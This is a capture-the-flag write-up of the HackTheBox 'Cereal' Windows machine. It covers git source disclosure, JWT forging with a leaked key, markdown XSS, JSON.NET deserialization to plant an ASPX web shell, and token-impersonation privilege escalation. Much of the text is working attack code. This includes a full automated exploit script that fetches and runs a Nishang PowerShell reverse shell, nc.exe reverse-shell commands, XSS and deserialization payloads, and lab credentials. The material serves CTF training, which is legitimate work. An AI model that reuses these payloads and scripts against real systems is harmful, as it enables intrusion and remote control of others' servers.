Home HackTheBox - Cereal
Post
Cancel

HackTheBox - Cereal

Cereal was about do a good code analysis to find the vulnerability. For me particullary it was extremelly hard and an awesome training for OSWE, for example. After you get the source code from a git disclousure, you analyse it and found a XSS and a deserealization.

You explore the serialization attack and get a shell as sonny, after that, the administrato you get with a port forwading and a grapql exploration.

The auto shell for sonny, you can find on the body of the post.

Hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(cereal.htb and source.cereal.htb)
    B --> |/etc/hosts| C[.git disclousure]
    C --> D(Code Analysis)
    D --> |Serialization| E
    D --> |Python Script| E[Automated Reverse Shell]
    E --> |SSH Pass| F[sonny]
    F --> |Port Forwading| G[GraphQL]
    G --> |SSRF| H[Administrator] 

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.217

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80/443

We add the cereal.htb and source.cereal.htb to our hosts file, once we found it on nmap scan

We try to open it on the browser

It seems to be a .net application with error message, for now just the directory disclousure is important

1
c:\inetpub\source\default.aspx

It seems to be a login page

We do a gobuster on the source.cereal.htb

1
gobuster dir -u http://source.cereal.htb/ -w /usr/share/wordlists/dirb/common.txt

We found the .git folder, interesting.

We’ll use the gitdumper to dump the .git folder to analyse it

And we download it

1
./gitdumper.sh http://source.cereal.htb/.git/ source/

We see that the files were deletted

So we restore all of them

Web App Source Code

So, let’s start a small enumeration on the code of the web app to see how it’s working

I like to start with the Controllers, because here the developers will put the ways that the user can input data over the application

Here we see if we put some post data to the server we can interact the the database, it’s pretty interesting

Few lines after it we see more interesting things

We can serialize data over the server, it’s important when we are talking about web attacks.

In this case, the line 41 is blocking the words objectdataprovider, windowsidentity and system, so our payload need to be without these words.

Some lines fewer we see that it’s restricting the IP’s. This happens on boxes that can only receive connections from localhost

So, let’s see where this RestrictIP is being seted

We search on the code for it

Looking above we see that these configs are being set on the appsettings.json

So, we open it

We see here that it’s making some kind of filtering, just accepting connection from localhost

The UserService.cs is probably handling the auth, so it’s important to see it

We see that the auth is using JWT tokens

But the key is hidden, it’s a problem, because if we want to generate valid tokens we must know the correct key

We search on the .git folder to see if someone typped the key there

We see the git log

And we get the first one

1
git checkout 8f2a1a88f15b9109e1f63e4e4551727bfb38eee5

And now, we have the secret on the vscode

Now what we need to do is generate a valid token to be used

We can do it in a windows wm or whatever, I’ll use a browser way to generate it

Fiddle

We copy and paste the code adding the user which appears on the git files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;

public class Program
{
	public static void Main()
	{
	var tokenHandler = new JwtSecurityTokenHandler();
    	var now = DateTime.UtcNow;
		var tokenDescriptor = new SecurityTokenDescriptor
		{
			Subject = new ClaimsIdentity(new[]
			{
				new Claim( ClaimTypes.Name, "sonny")
				}),
                    Expires = DateTime.UtcNow.AddDays(7),
			SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf")), SecurityAlgorithms.HmacSha256),
		};		
		var token = tokenHandler.CreateToken(tokenDescriptor);  
        var tokenString = tokenHandler.WriteToken(token);
		Console.WriteLine(tokenString);
	}
}

We run, and get a JWT valid token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6InNvbm55IiwibmJmIjoxNjM1NDY5ODQ2LCJleHAiOjE2MzYwNzQ2NDYsImlhdCI6MTYzNTQ2OTg0Nn0.RU7nKKTuV3NOUHWkPNGc_b790kvdm79HLKwWmYmvGL8

We see again on the code where we’ll use it

It’s a post for /requests with a valid ip

We can do a jwk token with a python script (get from 0xdf)

1
2
3
4
5
#!/usr/bin/env python3
import jwt
from datetime import datetime, timedelta

print(jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256"))

Auth Bypass

So, let’s use it

Error 401, Unauthorized

403 Forbidden

415 Unsupported Media Type

We delete the Content-Type: application/x-www-form-urlencoded and change to json

400 Bad Request

Seems that it requires a body, we put it

A JSON field is required

Great!! Now we can great cereal’s

Sure, but if we try to get the id on other request we still get errors when trying to trigger the deserealization

That’s because we must set some parameters to it properly works

We see on the models folder what we need to put on the request

Navigating to /ClientApp/src/_services/authentication.service.js you can see how it handles a successful login request

In summary, the JWT is created on successful login and saved in Local Storage with a key of currentUser, and the object returned needs to have a token parameter.

So we look at the authentication method and see what is stored on the browser

So, let’s apply that

After add the storage and refresh the page, we don’t get anymore the login page

When a send a request to burp, we se the parameters being seted on the data

Ok, now looking further we found a way to trigger XSS on the page.

1
{"json":"{\"title\":\"0x4rt3mis\",\"flavor\":\"bacon\",\"color\":\"#FFF\",\"description\":\"Exploit\"}"}

This app seems to be executing the code anywhere else, as a administrator

XSS

Weirdly we look at the AdminPage and we see some interesting things

This Markdown preview called our attention, on line 2 we see this import

import { MarkdownPreview } from 'react-marked-markdown';

So, we’ll see what version of it is running on the app

We search for vulnerabilities of this version

And found a XSS

We see that the way described on the forum is similar for what we have on the web app

That suggests that if I can set a cereal title to [XSS](javascript: [code]) and then someone looks at the admin page, I should get XSS.

After some play arround we found one which works

1
[XSS](javascript: document.write('<img src="http://10.10.14.20/0x4rt3mis" />'))

We need to encode the '" because it’s markdown

1
[XSS](javascript: document.write%28%27<img src=%22http://10.10.14.20/0x4rt3mis%22 />%27%29)

And we get the request back

We have XSS!

Now, what we need to do is get a script tag working, so we can execute javascript code in it and exploit the server

I was able to redirect the page to my webserver by setting window.location

1
[XSS](javascript: document.write%28%22<script>window.location = 'http://10.10.14.20/location';</script>%22%29)

So we can run commands in it

DownloadHelper

One more thing is important to mention, on the files we have a downloadhelper.cs which will give hints about how to upload files on the server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class DownloadHelper
{
    private String _URL;
    private String _FilePath;
    public String URL
    {
        get { return _URL; }
        set
        {
            _URL = value;
            Download();
        }
    }
    public String FilePath
    {
        get { return _FilePath; }
        set
        {
            _FilePath = value;
            Download();
        }
    }

    //https://stackoverflow.com/a/14826068
    public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
    {
        int place = Source.LastIndexOf(Find);

        if (place == -1)
            return Source;

        string result = Source.Remove(place, Find.Length).Insert(place, Replace);
        return result;
    }

    private void Download()
    {
        using (WebClient wc = new WebClient())
        {
            if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
            {
                wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
            }
        }
    }
}

This code has public functions to set URL and FilePath, and on setting each, the private Download function is called, which gets a file from URL and saves it at FilePath (with a slight modification).

So if I can create one of these objects, then it will download a file to a location of my choosing.

Sonny Shell

Now, we can start building our shell manually, to get the server

First we need to mount our payload to be deserealized on the server

We’ll use again the dotnetfiddle. Just copy and paste the downloadhelper.cs and fixing the imports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Threading.Tasks;
using Newtonsoft.Json;

public class DownloadHelper
    {
        private String _URL;
        private String _FilePath;
        public String URL
        {
            get { return _URL; }
            set
            {
                _URL = value;
                Download();
            }
        }
        public String FilePath
        {
            get { return _FilePath; }
            set
            {
                _FilePath = value;
                Download();
            }
        }

        //https://stackoverflow.com/a/14826068
        public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
        {
            int place = Source.LastIndexOf(Find);

            if (place == -1)
                return Source;

            string result = Source.Remove(place, Find.Length).Insert(place, Replace);
            return result;
        }

        private void Download()
        {
            using (WebClient wc = new WebClient())
            {
                if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
                {
                    //wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
                }
            }
        }
    }

public class Program
{
	public static void Main()
	{
			DownloadHelper obj = new DownloadHelper();
            obj.URL = "";
            obj.FilePath = "";
            string json = JsonConvert.SerializeObject(obj, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.Objects,
                TypeNameAssemblyFormat = System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple
            });
            Console.WriteLine(json);
	}
}

And here we have our payload

1
{"$type":"DownloadHelper, 4orwi1sa","URL":"","FilePath":""}

So we adapt our payload to download a file in our file system

The path is where we found earlier on the web disclousure information on the server

1
{"JSON": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'"http://10.10.14.20/shell.aspx"','FilePath': 'C:\\\\inetpub\\\\source\\\\uploads\\\\shell.aspx'}"}

This payload need to be send as a JSON object to the server, then once we know that we have a admin looking at the XSS, we do a session riding and make it executes the payload and download the file on the server, so let’s start it

The payload working is this:

1
2
3
4
{
"RequestId":999,
"JSON": "{\"$type\":\"Cereal.DownloadHelper, Cereal\",\"URL\":\"http://10.10.14.20/shell.aspx\",\"FilePath\": \"C:\\\\inetpub\\\\source\\\\uploads\\\\shell.aspx\"}"
}

We execute it, and now we just need to make the admin look at it, for that we will use a XMLHTTPRequest

1
2
3
4
5
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://cereal.htb/requests/999");
xhr.setRequestHeader("Authorization", "Bearer JWT");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send();

The script will be like this one

1
2
3
{
"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://cereal.htb/requests/999', true%29;xhr.setRequestHeader%28'Authorization','Bearer TOKEN !! '%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test\"}"
}

And after some moments, we get the connection on our python web server

Ok, it’s reaching me and trying to download it

And we see the page https://source.cereal.htb/uploads/21098374243-shell.aspx

And we have RCE!

Now let’s get a reverse shell

Now, let’s automate it

Auto Shell

First, we will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

auto_reverse.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/python3
# Author: 0x4rt3mis
# HackTheBox - Cereal - Auto reverse shell

import argparse
import requests
import sys
import jwt
from datetime import datetime, timedelta
from threading import Thread
import threading                     
import http.server                                  
import socket                                   
from http.server import HTTPServer, SimpleHTTPRequestHandler
import socket, telnetlib
from threading import Thread
import os
import re
import urllib3

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Setting the python web server
def webServer():
    debug = True                                    
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:                                                                                                                                
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True                                                                                 
        thread.start()                                                                                       
    else:                                               
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Create the JWT Token
def createJWT():
    print("[+] Let's create the JWT Token [+]")
    global token
    token = jwt.encode({'name': "admin", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
    print("[+] Token Created [+]")
    return token
    
def sendXSS(rhost,token,lhost):
    print("[+] Let's send the XSS [+]")
    os.system("cp /usr/share/webshells/aspx/cmdasp.aspx shell.aspx")
    url = "https://%s:443/requests" %rhost
    headers = {"Authorization": "Bearer %s" %token, "Content-Type": "application/json"}
    json={"JSON": "{\"$type\":\"Cereal.DownloadHelper, Cereal\",\"URL\":\"http://%s/shell.aspx\",\"FilePath\": \"C:\\\\inetpub\\\\source\\\\uploads\\\\shell.aspx\"}" %lhost, "RequestId": 666}
    r.post(url, headers=headers, json=json, proxies=proxies, verify=False)
    print("[+] XSS Sent ! [+]")

def triggerXSS(rhost,token):
    print("[+] Trigger the XSS [+]")
    url = "https://%s:443/requests" %rhost
    headers = {"Authorization": "Bearer %s" %token, "Content-Type": "application/json"}
    json={"json": "{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://" + rhost + "/requests/666', true%29;xhr.setRequestHeader%28'Authorization','Bearer " + token + "'%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"0x4rt3mis\"}"}
    r.post(url, headers=headers, json=json, proxies=proxies, verify=False)
    print("[+] Triggered, wait one minute to be done ! [+]")
    
# Mount the payload
def mountPayload(lhost,lport):
    print("[+] Meanwhile, let's mount the ps1 payload [+]")
    if os.path.isfile('Invoke-PowerShellTcp.ps1'):
        os.system("rm Invoke-PowerShellTcp.ps1")
    print("[+] Let's download the Nishang reverse [+]")
    os.system("wget -q -c https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1")
    print("[+] Download Ok! [+]")
    print("[+] Let's add the call to reverse shell! [+]")
    file = open('Invoke-PowerShellTcp.ps1', 'a')
    file.write('Invoke-PowerShellTcp -Reverse -IPAddress %s -Port %s' %(lhost,lport))
    file.close()
    print("[+] Call added! [+]")

def getRCE(rhost,command):
    print("[+] Now, let's get the reverse [+]")
    print("[+] Waiting the server download the aspx !!! [+]")
    os.system("sleep 150")
    url = "https://source.%s:443/uploads/21098374243-shell.aspx" %rhost
    headers = {"Referer": "https://source.cereal.htb/uploads/21098374243-shell.aspx", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://source.cereal.htb"}
    # First req to get the right parameters
    req = r.post(url, headers=headers, proxies=proxies, verify=False)
    STATE = re.search('input.+?name="__VIEWSTATE".+?value="(.+?)"', req.text).group(1)
    GENERATOR = re.search('input.+?name="__VIEWSTATEGENERATOR".+?value="(.+?)"', req.text).group(1)
    VALIDATION = re.search('input.+?name="__EVENTVALIDATION".+?value="(.+?)"', req.text).group(1)
    data = {"__VIEWSTATE": "%s" %STATE, "__VIEWSTATEGENERATOR": "%s" %GENERATOR, "__EVENTVALIDATION": "%s" %VALIDATION, "txtArg": "%s" %command, "testing": "excute"}
    # Now just send the commands
    req1 = r.post(url, headers=headers, proxies=proxies, verify=False, data=data)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-ip', '--localip', help='Local IP to receive the reverse', required=True)
    parser.add_argument('-p', '--localport', help='Local Port to receive the reverse', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.localport

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Set up the web python server
    webServer()
    # Create the token
    createJWT()
    # Send XSS
    sendXSS(rhost,token,lhost)
    # Trigger XSS
    triggerXSS(rhost,token)
    # Let's mount the payload
    mountPayload(lhost,lport)
    # Let's get the reverse now
    command = "powershell IEX(New-Object Net.WebClient).downloadString('http://%s/Invoke-PowerShellTcp.ps1')" %lhost
    getRCE(rhost,command)
    
if __name__ == '__main__':
    main()

SSH Soony

Looking at the files on the server we found ssh credentials

sonny:mutual.madden.manner38974

And we are in!

We see that it’s running local port 8080

We forward it to our kali

1
ssh -L 5555:127.0.0.1:8080 sonny@cereal.htb

Sonny –> Administrator

When we open the browser we see a web page

When we look at the source code of the page, we see the request to /api/graphql

We add a tool on firefox to manage with GRAPHQL

We’ll change a plantation query

We try a SSRF attack on the params

And it reaches our box

Looking again on the box we see that we have SeImpersonatePrivilege enabled, we can impersonate the administrator token and become root

We searched about it, and found a github link from the author of the box with a GenericPotato, once we cannot use the RottenPotato because of the version of the windows server

We donwload it compiled from another write-up of this box, of course this is not recommend because we don’t know what the user have compiled there, but once we know it’s just a ctf, no big problem to use it.

GenericPotato

We download it to the box, with the nc.exe too

powershell IWR -Uri http://10.10.14.20:8000/nc.exe -OutFile C:\\Users\\sonny\\Desktop\\nc.exe
powershell IWR -Uri http://10.10.14.20:8000/GenericPotato.exe -OutFile C:\\Users\\sonny\\Desktop\\GenericPotato.exe

Okay, downloaded

1
.\GenericPotato.exe -p "C:\Users\sonny\Desktop\nc.exe" -a "10.10.14.20 555 -e cmd" -e HTTP -l 5555

We run the query

And get a system shell

This post is licensed under CC BY 4.0 by the author.